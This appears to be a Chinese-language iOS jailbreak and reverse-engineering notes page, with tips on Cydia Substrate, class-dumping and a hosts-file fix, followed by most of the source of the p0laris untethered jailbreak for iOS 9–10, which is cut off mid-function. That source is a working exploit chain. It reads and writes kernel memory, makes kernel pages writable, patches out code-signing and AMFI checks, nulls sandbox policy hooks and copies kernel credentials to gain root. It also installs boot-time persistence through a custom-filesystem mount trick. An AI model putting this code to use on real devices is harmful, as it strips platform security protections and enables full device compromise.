如果是使用unc0ver越狱的话, 用Filza从 /usr/lib/libsubstitute.dylib 复制到Mac电脑的目录 /opt/theos/lib/

Cydia Substrate主要由3部分组成:

MobileHooker MobileHooker顾名思义用于HOOK。它定义一系列的宏和函数,底层调用objc的runtime和fishhook来替换系统或者目标应用的函数.

其中有两个函数:
 void MSHookMessageEx(Class class, SEL selector, IMP replacement, IMP result)
 主要作用于Objective-C方法
 
 void MSHookFunction(voidfunction,void* replacement,void** p_original)
 主要作用于C和C++函数, Logos语法的%hook 就是对此函数做了一层封装
 
 利用DCRM V4搭建Cydia Repo教程 https://github.com/XLsn0w/Dumb-Cydia-Repository-Manager

添加公众号Cydia源:
Cydia Repo: https://XLsn0w.github.io/tweak/
Cydia Repo: https://XLsn0w.github.io/tweaks/
Cydia Repo: https://XLsn0w.github.io/Cydiapp/

iOS进阶福利群
QQ会员群号: 582415518 (内含稀缺资源下载)
点击赞赏二维码+WeChat

iOS教学
Cydia C++源码
iOS13-14越狱源代码
iOS14.5完美越狱实现源码

解决Mac终端 Failed to connect to raw.githubusercontent.com port 443

解决 raw.githubusercontent.com 无法访问

1.打开 https://www.ipaddress.com 2.这个网站中的查询框中输入:raw.githubusercontent.com
3.回车 4.在里面找到raw.githubusercontent.com相对应的ipv4地址: 5.前四个地址随便选一个即可:

🇺🇸 raw.githubusercontent.com	A	185.199.108.133
🇺🇸 raw.githubusercontent.com	A	185.199.109.133
🇺🇸 raw.githubusercontent.com	A	185.199.110.133
🇺🇸 raw.githubusercontent.com	A	185.199.111.133

6.在cmd+shift+G 输入/etc/hosts 7.在hosts 添加一行代码 如下

185.199.108.133     raw.githubusercontent.com

iOS获取任何砸壳ipa的资源图片工具

iOS Images Extractor : https://github.com/devcxm/iOS-Images-Extractor

iOS调试UI的工具Lookin

Lookin 可以查看与修改 iOS App 里的 UI 对象, 类似于 Xcode 自带的 UI Inspector 工具, 或另一款叫做 Reveal 的软件。 官网:https://lookin.work/

如果.ipa或.app是做了防护 只能runtime classdumpdyld弄了

参考文章: https://mp.weixin.qq.com/s/m1TUrSfc4cvYbGAcGAtQeg

#cycript -p SpringBoard

@import net.limneos.classdumpdyld;

classdumpdyld.dumpClass(SpringBoard);
@"Wrote file /tmp/SpringBoard.h"

classdumpdyld.dumpBundle([NSBundle mainBundle]);
@"Wrote all headers to /tmp/SpringBoard"

// Dump any bundle other than the main bundle 
classdumpdyld.dumpBundle([NSBundle bundleWithIdentifier:@"com.apple.UIKit"]);
@"Wrote all headers to /tmp/UIKit"

// Dump any image loaded in the process using any class name it contains
classdumpdyld.dumpBundleForClass(CallBarControllerModern);
@"Wrote all headers to /tmp/CallBar7"

iOS untethered jailbreak for iOS 9.x and 10.x p0laris Implementation principle

#include <Foundation/Foundation.h>
#include <UIKit/UIKit.h>
#include <sys/utsname.h>
#include <sys/mount.h>
#include <mach/mach.h>
#include <sys/stat.h>
#include <syslog.h>
#include <dlfcn.h>
#include <spawn.h>

#import "patchfinder.h"
#import "common.h"
#import "sbops.h"
#import "log.h"

/*
 *  I live in a constant state of fear and misery
 *  Do you miss me anymore?
 *  And I don't even notice when it hurts anymore
 *  Anymore, anymore, anymore
 */

#define INSTALL_NONPUBLIC_UNTETHER 0
#define FIRST_TIME_OVERRIDE 0
#define INSTALL_UNTETHER 0
#define BTSERVER_USED 0
#define UNPATCH_PMAP 0
#define ENABLE_DEBUG 0
#define DO_CSBYPASS 0
#define DUMP_KERNEL 0

uintptr_t kernel_base	= -1;
uintptr_t kaslr_slide	= -1;
task_t tfp0				= 0;

uintptr_t kbase(void);
task_t get_kernel_task(void);
void exploit_cleanup(task_t);
int progress(const char* s, ...);
int progress_ui(const char* s, ...);

#define UNSLID_BASE 0x80001000

// A5
uint32_t pmap_addr = 0x003F6454;

uint32_t find_kernel_pmap(void) {
	return pmap_addr + kernel_base;
}

/*
 *  read 4-bytes from address addr from kernel memory
 */
uint32_t kread_uint32(uint32_t addr) {
	vm_size_t bytesRead=0;
	uint32_t ret = 0;
	vm_read_overwrite(tfp0,
					  addr,
					  4,
					  (vm_address_t)&ret,
					  &bytesRead);
	return ret;
}

/*
 *  read a byte from address addr from kernel memory
 */
uint8_t kread_uint8(uint32_t addr) {
	vm_size_t bytesRead=0;
	uint8_t ret = 0;
	vm_read_overwrite(tfp0,
					  addr,
					  1,
					  (vm_address_t)&ret,
					  &bytesRead);
	return ret;
}

/*
 *  write a 4-byte value to address addr in kernel memory
 */
void kwrite_uint32(uint32_t addr, uint32_t value) {
	vm_write(tfp0,
			 addr,
			 (vm_offset_t)&value,
			 4);
}

/*
 *  write a byte value to address addr in kernel memory
 */
void kwrite_uint8(uint32_t addr, uint8_t value) {
	vm_write(tfp0,
			 addr,
			 (vm_offset_t)&value,
			 1);
}

/*
 *  free and nullify pointer macro
 */
void _zfree(void** ptr) {
	free(*ptr);
	*ptr = NULL;
}

#define zfree(ptr) do { _zfree((void**)ptr); } while (0)

extern char **environ;

void run_cmd(char *cmd, ...) {
	pid_t pid;
	va_list ap;
	char* cmd_ = NULL;
	
	va_start(ap, cmd);
	vasprintf(&cmd_, cmd, ap);
	
	char *argv[] = {"sh", "-c", cmd_, NULL};
	
	int status;
	lprintf("Run command: %s", cmd_);
	status = posix_spawn(&pid, "/bin/sh", NULL, NULL, argv, environ);
	if (status == 0) {
		lprintf("Child pid: %i", pid);
		do {
			if (waitpid(pid, &status, 0) != -1) {
				lprintf("Child status %d", WEXITSTATUS(status));
			} else {
				perror("waitpid");
			}
		} while (!WIFEXITED(status) && !WIFSIGNALED(status));
	} else {
		lprintf("posix_spawn: %s", strerror(status));
	}
}

bool exists(char* path) {
	bool ret = false;
	
	/*
	 *  check if file exists and is accessible
	 */
	
	ret = access(path, F_OK) != -1;
	
	return ret;
}

/*
 *  BEGIN ADVANCED BORROWING FROM REALKJCMEMBER
 */
#define TTB_SIZE			4096
#define L1_SECT_S_BIT		(1 << 16)
#define L1_SECT_PROTO		(1 << 1)														/* 0b10 */
#define L1_SECT_AP_URW		(1 << 10) | (1 << 11)
#define L1_SECT_APX			(1 << 15)
#define L1_SECT_DEFPROT		(L1_SECT_AP_URW | L1_SECT_APX)
#define L1_SECT_SORDER		(0)																/* 0b00, not cacheable, strongly ordered. */
#define L1_SECT_DEFCACHE	(L1_SECT_SORDER)
#define L1_PROTO_TTE(entry)	(entry | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE)

uint32_t pmaps[TTB_SIZE];
int pmapscnt = 0;

void patch_kernel_pmap(void) {
	uint32_t kernel_pmap		= find_kernel_pmap();
	uint32_t kernel_pmap_store	= kread_uint32(kernel_pmap);
	uint32_t tte_virt			= kread_uint32(kernel_pmap_store);
	uint32_t tte_phys			= kread_uint32(kernel_pmap_store+4);
	
	lprintf("kernel pmap store @ 0x%08x",
			kernel_pmap_store);
	lprintf("kernel pmap tte is at VA 0x%08x PA 0x%08x",
			tte_virt,
			tte_phys);
	
	/*
	 *  every page is writable
	 */
	uint32_t i;
	for (i = 0; i < TTB_SIZE; i++) {
		uint32_t addr   = tte_virt + (i << 2);
		uint32_t entry  = kread_uint32(addr);
		if (entry == 0) continue;
		if ((entry & 0x3) == 1) {
			/*
			 *  if the 2 lsb are 1 that means there is a second level
			 *  pagetable that we need to give readwrite access to.
			 *  zero bytes 0-10 to get the pagetable address
			 */
			uint32_t second_level_page_addr = (entry & (~0x3ff)) - tte_phys + tte_virt;
			for (int i = 0; i < 256; i++) {
				/*
				 *  second level pagetable has 256 entries, we need to patch all
				 *  of them
				 */
				uint32_t sladdr  = second_level_page_addr+(i<<2);
				uint32_t slentry = kread_uint32(sladdr);
				
				if (slentry == 0)
					continue;
				
				/*
				 *  set the 9th bit to zero
				 */
				uint32_t new_entry = slentry & (~0x200);
				if (slentry != new_entry) {
					kwrite_uint32(sladdr, new_entry);
					pmaps[pmapscnt++] = sladdr;
				}
			}
			continue;
		}
		
		if ((entry & L1_SECT_PROTO) == 2) {
			uint32_t new_entry  =  L1_PROTO_TTE(entry);
			new_entry		   &= ~L1_SECT_APX;
			kwrite_uint32(addr, new_entry);
		}
	}
	
	lprintf("every page is actually writable");
	usleep(100000);
}

void pmap_unpatch(void) {
	while (pmapscnt > 0) {
		uint32_t sladdr  = pmaps[--pmapscnt];
		uint32_t slentry = kread_uint32(sladdr);
		
		/*
		 *  set the 9th bit to one
		 */
		uint32_t new_entry = slentry | (0x200);
		kwrite_uint32(sladdr, new_entry);
	}
}

/*
 *  END ADVANCED BORROWING FROM REALKJCMEMBER
 */

double get_time(void) {
	struct timeval current_time;
	gettimeofday(&current_time, NULL);
	
	return (double)current_time.tv_sec
	+ ((double)current_time.tv_usec / 1000000.0);
}

uint8_t* dump_kernel(uint8_t* kdata, uint32_t len) {
	vm_size_t segment = 0x800;
	
	/*
	 *  0x800 should be faster thx sig
	 */
	
	for (int i = 0; i < len / segment; i++) {
		/*
		 *  DUMP DUMP DUMP
		 */
		
		vm_read_overwrite(tfp0,
						  UNSLID_BASE + kaslr_slide + (i * segment),
						  segment,
						  (vm_address_t)kdata + (i * segment),
						  &segment);
	}
	
	return kdata;
}

extern struct offsets_t* offsets;
extern bool global_untethered;
uint32_t ourcred;
uint32_t myproc;

struct offsets_t* find_offsets(void) {
	/*
	 *  look ma i did a patchfinder
	 *  saves offsets to (docs_dir)/offsets.bin for future use, as the patchfinder
	 *  is kinda slow as balls
	 */
	
	struct offsets_t* offsets   = malloc(sizeof(struct offsets_t));
	uint32_t len				= 32 * 1024 * 1024;
	uint8_t* kdata				= NULL;
	char* open_this				= NULL;
	char* version_string		= (char*)[[[UIDevice currentDevice] systemVersion]
										  UTF8String];
	
	if (!global_untethered) {
		/*
		 *  if we are not running from the untether, check the application docs
		 *  directory for the offsets.bin file. if it exists, read it into the
		 *  offsets struct and return it, otherwise, find our offsets "manually"
		 *  using the patchfinder.
		 */
		
		NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
		NSString *documentsDirectory = [paths firstObject];
		char* doc_dir = (char*)[documentsDirectory UTF8String];
		asprintf(&open_this, "%s/offsets.bin", doc_dir);
		
		if (exists(open_this)) {
			/*
			 *  read from offsets.bin into the offsets struct and return it
			 */
			
			FILE* fp = fopen(open_this, "rb");
			fread(offsets, sizeof(struct offsets_t), 1, fp);
			fclose(fp);
			return offsets;
		}
	} else {
		/*
		 *  if we are running from the untether, read from
		 *  /untether/docs/untether.bin (if the file exists) to get offsets. 
		 *  /untether/docs is a symlink to the normal documents directory. this
		 *  is done because the documents directory appears to be different when
		 *  running untethered.
		 * 
		 *  (also because i originally tried /untether/offsets.bin until i 
		 *   realized we can't read from that path when not jailbroken, lol)
		 */
		
		char* offsets_bin = "/untether/docs/offsets.bin";
		
		if (exists(offsets_bin)) {
			/*
			 *  read from offsets.bin into the offsets struct and return it
			 */
			
			FILE* fp = fopen(offsets_bin, "rb");
			fread(offsets, sizeof(struct offsets_t), 1, fp);
			fclose(fp);
			return offsets;
		}
	}
	
	/*
	 *  dump kernel
	 */
	
	progress_ui("dumping kernel");
	kdata = malloc(len);
	
	dump_kernel(kdata, len);
	
	if (!kdata) {
		/*
		 *  fuck, failed to allocate kdata.
		 * 
		 *  free offsets if it exists, zfree also sets it to NULL. (fuck UAFs)
		 *  (except when i get to exploit them ;))
		 */
		if (offsets)
			zfree(&offsets);
		return NULL;
	}
	
	/*
	 *  make substrate patchfinding a bit faster
	 */
	uint32_t* one_and_two = NULL;
	
	progress_ui("patchfinding...");
	offsets->mount_common						= find_mount_common(kernel_base, kdata, len, version_string);
	offsets->lwvm1								= find_lwvm1(kernel_base, kdata, len, version_string);
	offsets->lwvm2								= find_lwvm2(kernel_base, kdata, len, version_string);
	offsets->lwvm_call							= find_lwvm_call(kernel_base, kdata, len, version_string);
	offsets->lwvm_call_offset					= find_lwvm_call_offset(kernel_base, kdata, len, version_string);
	offsets->sbops								= find_sbops(kernel_base, kdata, len, version_string);
	one_and_two									= find_substrate1_and_2(kernel_base, kdata, len, version_string);
	offsets->substrate1							= one_and_two[0];
	offsets->substrate2							= one_and_two[1];
	offsets->proc_enforce						= find_proc_enforce(kernel_base, kdata, len, version_string);
	offsets->cs_enforcement_disable_amfi		= find_cs_enforcement_disable_amfi(kernel_base, kdata, len, version_string);
	offsets->PE_i_can_has_debugger_1			= find_PE_i_can_has_debugger_1(kernel_base, kdata, len, version_string);
	offsets->PE_i_can_has_debugger_2			= find_PE_i_can_has_debugger_2(kernel_base, kdata, len, version_string);
	offsets->PE_i_can_has_debugger_offset		= find_PE_i_can_has_debugger_offset(kernel_base, kdata, len, version_string);
	offsets->vm_fault_enter_patch				= find_vm_fault_enter_patch(kernel_base, kdata, len, version_string);
	offsets->vm_map_enter_patch					= find_vm_map_enter_patch(kernel_base, kdata, len, version_string);
	offsets->csops								= find_csops(kernel_base, kdata, len, version_string);
	offsets->mapForIO							= find_mapForIO(kernel_base, kdata, len, version_string);
	offsets->sandbox_call_i_can_has_debugger	= find_sandbox_call_i_can_has_debugger(kernel_base, kdata, len, version_string);
	offsets->amfi_file_check_mmap				= find_amfi_file_check_mmap(kernel_base, kdata, len, version_string);
	offsets->allproc							= find_allproc(kernel_base, kdata, len, version_string);
	offsets->tfp0								= find_tfp0(kernel_base, kdata, len, version_string);
	progress_ui("patchfinded");
	
	/*
	 *  write our offsets to docs_dir/offsets.bin
	 */
	
	open_this = NULL;
	
	NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
														 NSUserDomainMask,
														 YES);
	NSString *documentsDirectory = [paths firstObject];
	char* doc_dir = (char*)[documentsDirectory UTF8String];
	asprintf(&open_this, "%s/offsets.bin", doc_dir);
	
	FILE* fp = fopen(open_this, "wb");
	fwrite(offsets,
		   sizeof(struct offsets_t),
		   1,
		   fp);
	fclose(fp);
	
	if (one_and_two)
		zfree(&one_and_two);
	
	if (kdata)
		zfree(&kdata);
	
	return offsets;
}

bool patch_kernel(void) {
	bool ret = true;
	
	/* 
	 *  here be dragons, this code is magic
	 */
	
	offsets = find_offsets();
	
	if (offsets == NULL)
		return false;
	
	/* 
	 *  mount stuff
	 */
	lprintf("patching mount_common: 0x%08x,0x%02x",
			kernel_base + offsets->mount_common, 0xe0);
	kwrite_uint8(kernel_base + offsets->mount_common, 0xe0);
	
	/* 
	 *  PE_i_can_has_debugger stuff
	 */
	lprintf("patching PE_i_can_has_debugger_offset: 0x%08x,0x%08x->0x%08x",
			kernel_base + offsets->PE_i_can_has_debugger_offset, kread_uint32(kernel_base + offsets->PE_i_can_has_debugger_offset), 0x20012001);
	kwrite_uint32(kernel_base + offsets->PE_i_can_has_debugger_offset,
				  0x20012001);
	
	/* 
	 *  note for tomorrow / today:
	 *  look into patching time related syscalls in the kernel
	 */
	
	/*
	 *  this AMFI patch is disabled as the offset was probably wrong or something
	 *  for some reason it would make video decoding cause a magical kernel panic
	 */
	
	/* 
	 *  substrate
	 */
	lprintf("patching substrate1: 0x%08x,0x%04x",
			kernel_base + offsets->substrate1,
			0xbf00);
	kwrite_uint8(kernel_base + offsets->substrate1,		0x00);
	kwrite_uint8(kernel_base + offsets->substrate1 + 1,	0xbf);
	
	/* 
	 *  substrate
	 */
	lprintf("patching substrate2: 0x%08x,0x%04x",
			kernel_base + offsets->substrate2,
			0xbf00);
	kwrite_uint8(kernel_base + offsets->substrate2,		0x00);
	kwrite_uint8(kernel_base + offsets->substrate2 + 1,	0xbf);
	
	/* 
	 *  proc_enforce -> 0
	 */
	lprintf("patching proc_enforce: 0x%08x,0x%08x",
			kernel_base + offsets->proc_enforce,
			0x0);
	kwrite_uint32(kernel_base + offsets->proc_enforce,0);
	
	/* 
	 *  cs_enforcement_disable_amfi
	 */
	lprintf("patching cs_enforcement_disable_amfi: 0x%08x,0x%04x",
			kernel_base + offsets->cs_enforcement_disable_amfi - 1,
			0x0101);
	kwrite_uint8(kernel_base + offsets->cs_enforcement_disable_amfi, 1);
	kwrite_uint8(kernel_base + offsets->cs_enforcement_disable_amfi - 1, 1);
	
	/* 
	 *  PE_i_can_has_debugger -> 1
	 */
	lprintf("patching PE_i_can_has_debugger_1: 0x%08x,0x%08x",
			kernel_base + offsets->PE_i_can_has_debugger_1,
			0x1);
	kwrite_uint32(kernel_base + offsets->PE_i_can_has_debugger_1, 1);

	lprintf("patching PE_i_can_has_debugger_2: 0x%08x,0x%08x",
			kernel_base + offsets->PE_i_can_has_debugger_2,
			0x1);
	kwrite_uint32(kernel_base + offsets->PE_i_can_has_debugger_2, 1);
	
	/* 
	 *  vm_fault_enter magic
	 */
	lprintf("patching vm_fault_enter_patch: 0x%08x,0x%04x",
			kernel_base + offsets->vm_fault_enter_patch,
			0x2201);
	kwrite_uint8(kernel_base + offsets->vm_fault_enter_patch, 0x01);
	kwrite_uint8(kernel_base + offsets->vm_fault_enter_patch + 1, 0x22);
	
	/*
	 *  vm_map_enter_patch
	 */
	lprintf("patching vm_map_enter_patch: 0x%08x,0x%08x",
			kernel_base + offsets->vm_map_enter_patch,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->vm_map_enter_patch, 0xbf00bf00);
	
	/*
	 * mapForIO magic
	 */
	lprintf("patching mapForIO: 0x%08x,0x%08x",
			kernel_base + offsets->mapForIO,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->mapForIO, 0xbf00bf00);
	
	/*
	 *  csops magic
	 */
	lprintf("patching csops: 0x%08x,0x%08x",
			kernel_base + offsets->csops,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->csops, 0xbf00bf00);
	
	/*
	 *  amfi_file_check_mmap magic
	 */
	lprintf("patching amfi_file_check_mmap: 0x%08x,0x%08x",
			kernel_base + offsets->amfi_file_check_mmap,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->amfi_file_check_mmap, 0xbf00bf00);
	
	/*
	 *  sandbox_call_i_can_has_debugger magic
	 */
	lprintf("patching sandbox_call_i_can_has_debugger: 0x%08x,0x%08x",
			kernel_base + offsets->sandbox_call_i_can_has_debugger,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->sandbox_call_i_can_has_debugger,0xbf00bf00);
	
	/*
	 *  lwvm
	 */
	lprintf("patching lwvm1: 0x%08x,0x%08x",
			kernel_base + offsets->lwvm1,
			0xf8d1e00f);
	kwrite_uint32(kernel_base + offsets->lwvm1, 0xf8d1e00f);

	lprintf("patching lwvm2: 0x%08x,0x%08x",
			kernel_base + offsets->lwvm2,
			0x2501e003);
	kwrite_uint32(kernel_base + offsets->lwvm2, 0x2501e003);

	lprintf("patching lwvm_call: 0x%08x,0x%08x",
			kernel_base + offsets->lwvm_call,
			kernel_base + offsets->lwvm_call_offset);
	kwrite_uint32(kernel_base + offsets->lwvm_call,
				  kernel_base + offsets->lwvm_call_offset);
	
	/*
	 *  tfp0
	 */
	lprintf("patching tfp0: 0x%08x,0x%08x->0x%08x",
			kernel_base + offsets->tfp0,
			0xbf00bf00);
	kwrite_uint32(kernel_base + offsets->tfp0, 0xbf00bf00);
	
	/*
	 *  fuck the sandbox
	 */
	lprintf("nuking sandbox @ 0x%08x", kernel_base + offsets->sbops);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_access), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_chroot), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_create), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_exec), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_link), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_open), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_readlink), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setflags), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setmode), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setowner), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_stat), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_truncate), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_unlink), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_notify_create), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_vnode_check_getattr), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_mount_check_stat), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_proc_check_fork), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_iokit_check_get_property), 0);
	kwrite_uint32(kernel_base + offsets->sbops + offsetof(struct mac_policy_ops, mpo_cred_label_update_execve), 0);
	
	/*
	 *  get kernel credentials so we can get our friend, uid=0.
	 */
	lprintf("stealing kernel creds");
	uint32_t allproc_read	= kread_uint32(kernel_base + offsets->allproc);
	lprintf("uint32_t allproc = 0x%08x, uint32_t allproc_read = 0x%08x;",
			kernel_base + offsets->allproc,
			allproc_read);
	pid_t our_pid		= getpid();
	lprintf("our_pid = %d", our_pid);
	
	myproc				= 0;
	uint32_t kernproc	= 0;
	
	/*
	 *  this code traverses a linked list in kernel memory to find the processes.
	 *  cleaned up
	 * 
	 *  struct proc {
	 * 	 LIST_ENTRY(proc) p_list;	// List of all processes.		//
	 * 
	 * 	 pid_t	   p_pid;		  // Process identifier. (static)	//
	 * 	 void *	  task;		   // corresponding task (static)		//
	 * 	 ...
	 *  };
	 * 
	 *  #define LIST_ENTRY(type)											\
	 *  struct {															\
	 * 	 struct type *le_next;		// next element						//  \
	 * 	 struct type **le_prev;		// address of previous next element //  \
	 *  }
	 * 
	 *  sizeof(uintptr_t) on 32-bit = 4
	 *  2 pointers = 2 * 4 = 8
	 *  offset of p_pid = 8
	 *  the next proc entry is the first pointer in the LIST_ENTRY struct, which is conveniently
	 *  the first element in the proc struct.
	 *  therefore, offset of the next proc entry is 0
	 * 
	 *  loop through the linked list by getting allproc
	 *  check the pid, and compare it to ours or the kernels
	 *  save it if it's either, otherwise continue
	 * 
	 *  eventually at the end we have the addresses of the kernel's proc struct and ours.
	 *  now we do writing magic to get kernel privs :P
	 */
	
	if (allproc_read != 0) {
		while (myproc == 0 || kernproc == 0) {
			uint32_t kpid = kread_uint32(allproc_read + 8);
			if (kpid == our_pid) {
				myproc = allproc_read;
				lprintf("found myproc 0x%08x, %d", myproc, kpid);
			} else if (kpid == 0) {
				kernproc = allproc_read;
				lprintf("found kernproc 0x%08x, %d", kernproc, kpid);
			}
			allproc_read = kread_uint32(allproc_read);
		}
	} else {
		/* fail */
		return false;
	}
	
	/*
	 *  TODO: don't hardcode 0xa4, ideally write patchfinder code for it
	 */
	
	uint32_t kern_ucred = kread_uint32(kernproc + 0xa4);
	lprintf("uint32_t kern_ucred = 0x%08x;", kern_ucred);
	
	ourcred = kread_uint32(myproc + 0xa4);
	lprintf("uint32_t ourcred = 0x%08x;", ourcred);

	/*
	 *  i am (g)root
	 */
	kwrite_uint32(myproc + 0xa4, kern_ucred);
	setuid(0);
	
	return ret;
}

void easy_spawn(char* bin, char* argv[]) {
	pid_t pid;
	int status;
	status = posix_spawn(&pid, bin, NULL, NULL, argv, environ);
	if (status == 0) {
		lprintf("Child pid: %i", pid);
		do {
			if (waitpid(pid, &status, 0) != -1) {
				lprintf("Child status %d", WEXITSTATUS(status));
			} else {
				perror("waitpid");
			}
		} while (!WIFEXITED(status) && !WIFSIGNALED(status));
	} else {
		lprintf("posix_spawn: %s", strerror(status));
	}
}

NSString* resource_path = NULL;
char* bundle_path(char* path) {
	char* ret = NULL;
	
	if (!resource_path)
		resource_path = [[NSBundle mainBundle] resourcePath];
	
	ret = (char*)[[resource_path stringByAppendingPathComponent:
				   [NSString stringWithUTF8String:path]] UTF8String];
	
	return ret;
}

#if INSTALL_UNTETHER
#if !INSTALL_NONPUBLIC_UNTETHER
bool install_untether(void) {
	bool ret = true;
	
	/*
	 *  if re-installing, remove the previous untether directory
	 */
	run_cmd("rm -rf /untether");
	
	/*
	 *  probably shouldn't be 777, will look into later
	 */
	mkdir("/untether", 0777);
	
	/*
	 *  get path of p0laris, and symlink it for the final 0wnage
	 */
	char* bin_path = bundle_path("p0laris");
	symlink(bin_path, "/untether/p0laris");
	
	/*
	 *  make /usr/local/bin
	 *  sandbox policy bypass allows you to use arbitrary interpreter binaries
	 *  IF you put them at specific locations.
	 *  you can not use a symlink, the actual binary must be at the location.
	 *  decompiled sandbox policies:
	 *    (deny process-exec-interpreter
	 *    (require-all
	 * 	(require-not (debug-mode))
	 * 	(require-all (require-not (literal "/bin/sh"))
	 * 	 (require-not (literal "/bin/bash"))
	 * 	 (require-not (literal "/usr/bin/perl"))
	 * 	 (require-not (literal "/usr/local/bin/scripter"))		<- i use this one
	 * 	 (require-not (literal "/usr/local/bin/luatrace"))
	 * 	 (require-not (literal "/usr/sbin/dtrace")))))
	 * 
	 *   source: https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html
	 */
	mkdir("/usr/local/", 0777);
	mkdir("/usr/local/bin/", 0777);
	
	/*
	 *  important:
	 *  DO NOT symlink, this will not work,
	 *  as the binary will still be located at its previous path.
	 * 
	 *  actually copy the full executable, permissions and all, to the new path.
	 */
	run_cmd("/bin/cp -p /sbin/mount /usr/local/bin/scripter");
	
	/*
	 *  now for the actual persistence bug.
	 *  this next bit is stolen from the untether gist, as i'm too lazy to rewrite it.
	 *
	 *  bug3:
	 *  platform-application bypass,
	 *  custom filesystem
	 *  directory structure:
	 *  /System/Library/Filesystems/hax.fs:
	 *  /System/Library/Filesystems/hax.fs/Contents:
	 *  /System/Library/Filesystems/hax.fs/Contents/Resources:
	 *  /System/Library/Filesystems/hax.fs/Contents/Resources/mount_hax -> symlink to your haxxx
	 *
	 *  cp -p /sbin/mount to /usr/local/bin/scripter (bypass some sandbox stuff)
	 *  replace a daemon with an executable containing this:
	 *  #!/usr/local/bin/scripter -t hax fake
	 *
	 *
	 *
	 *  the last argument is automatically filled in with the executable path,
	 *  so mount finds an existing path, and attempts to mount "fake" (taken as /fake as it runs in /)
	 *  on that path, with the filesystem hax, which executes our code.
	 *  replace a daemon like wifiFirmwareLoaderLegacy
	 *  either do the same SUID trick, for untethered, sandboxed code exec as mobile (tired)
	 *  or use psychicpaper and get untethered, unsandboxed code exec as root (wired)
	 *  boom, BFU code exec on 9.xish -> 12.xish
	 *
	 *  BACK TO MY COMMENTS
	 *  i find it a little more smexy to use a symlink and keep
	 *  code_exec_fs.fs in a folder along with the rest of the vuln stuff, so symlinks abound
	 */
	
	mkdir("/untether/code_exec_fs.fs",						 0755);
	mkdir("/untether/code_exec_fs.fs/Contents",			 0755);
	mkdir("/untether/code_exec_fs.fs/Contents/Resources",	0755);
	
	symlink("/untether/code_exec_fs.fs",	"/System/Library/Filesystems/code_exec_fs.fs");
	symlink("/untether/code_exec_fs.fs",	"/Library/Filesystems/code_exec_fs.fs");
	symlink("/untether/p0laris",			"/untether/code_exec_fs.fs/Contents/Resources/mount_code_exec_fs");
	
	/*
	 *  i forgot to add you actually need to have
	 *  some data after the shebang, otherwise it won't work.
	 */
	FILE* fp = fopen("/untether/get_code_exec", "w");
	fprintf(fp, "#!/usr/local/bin/scripter -t code_exec_fs untether\n\n\nkek");
	fclose(fp);
	
	/*
	 *  chmod'ing for security & being able to execute and shit
	 */
	chown("/untether/p0laris",													501, 501);
	chown("/untether/code_exec_fs.fs/Contents/Resources/mount_code_exec_fs",	501, 501);
	chown("/untether/get_code_exec",											501, 501);
